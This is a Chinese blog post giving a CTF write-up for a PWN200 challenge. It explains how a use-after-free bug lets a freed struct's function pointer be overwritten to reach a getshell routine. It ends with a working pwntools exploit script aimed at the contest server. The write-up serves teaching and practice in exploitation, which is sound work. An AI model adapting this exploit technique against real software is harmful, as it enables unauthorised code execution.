

# 第三届上海市大学生网络安全大赛 PWN200 WriteUp

原创

b0ring 于 2017-11-08 10:51:50 发布 1599 收藏 1

分类专栏: [CTF\\_PWN](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/s1054436218/article/details/78476125>

版权



[CTF\\_PWN 专栏收录该内容](#)

3 篇文章 0 订阅

订阅专栏

这题利用了UAF漏洞, 在pwnable.kr中有类似的题。简单介绍 一下什么事UAF, UAF就是use after free, 就是在C++申请内存的机制中, 如果上一次free掉的内存和新申请的内存大小相同, 那么再次申请就会申请到刚才free掉的内存, 于是例如本题中, 结构体嵌套了函数, 在再次申请到内存的时候, 被覆盖掉原有的内存地址中, 把shell的地址放到结构体调用的函数中, 就会触发UAF漏洞, 详情请看本题。将二进制文件拖进IDA中, 反编译后可以看到通过new申请内存的v3、和v5, 两个变量应该都是struct, 如图所示:

---

转结构体后可以看到明刚开始给V3.char0变量赋值为off\_602D78, 在内存中, 此地址为:

---

其中sub\_401450即为getshell的地址, sub401840为一个输出函数, 即正常按1会触发的函数, 这个地方调用函数的时候是从结构体内存中申请的, 所以这里就是我们触发UAF的触发点。接下来我们看after的话会发生什么:

---

大量没什么用的指令我就不展示了, 关键是这两个地方, 首先就是它提示你输入一个长度, 代表你要申请内存地址的长度, 这里要注意下我们要申请的长度不是30, 而是0x30, 也就是48。在free掉0x30长度的内存空间后, 我们申请0x30的内存空间, 就会覆盖掉原本结构体的内存地址, 当我们再次调用打印信息的函数时, 我们把该地址篡改为shell的地址, 那么我们就可以getshell了。这里展示一下调用打印信息函数的反编译代码:

---

cha0是v3结构体起始的地址, 而+8意味着之前初始化赋值的off\_602D78+8, 在覆盖掉以后, 我们需要把调用时的地址篡改为off\_602D78, 也就是赋值, 把结构体覆盖为off\_602D78-8。思路很清晰了, 下面是我的exp:

```
from pwn import *
import time

p = remote('106.75.8.58', '12333')
p.recvuntil('1. use, 2. after, 3. free')
p.sendline('3')
p.recvuntil('1. use, 2. after, 3. free')
p.sendline('2')
p.recvuntil('Please input the length:')
p.sendline('48')
payload = p64(0x000000000000602D70)
time.sleep(1)
p.sendline(payload)
p.recvuntil('1. use, 2. after, 3. free')
p.sendline('2')
p.recvuntil('Please input the length:')
p.sendline('48')
time.sleep(1)
p.sendline(payload)
p.recvuntil('1. use, 2. after, 3. free')
time.sleep(1)
p.sendline('1')
p.interactive()
```

更多参考资料：1、[Pwntools使用](#)2、[UAF漏洞介绍](#)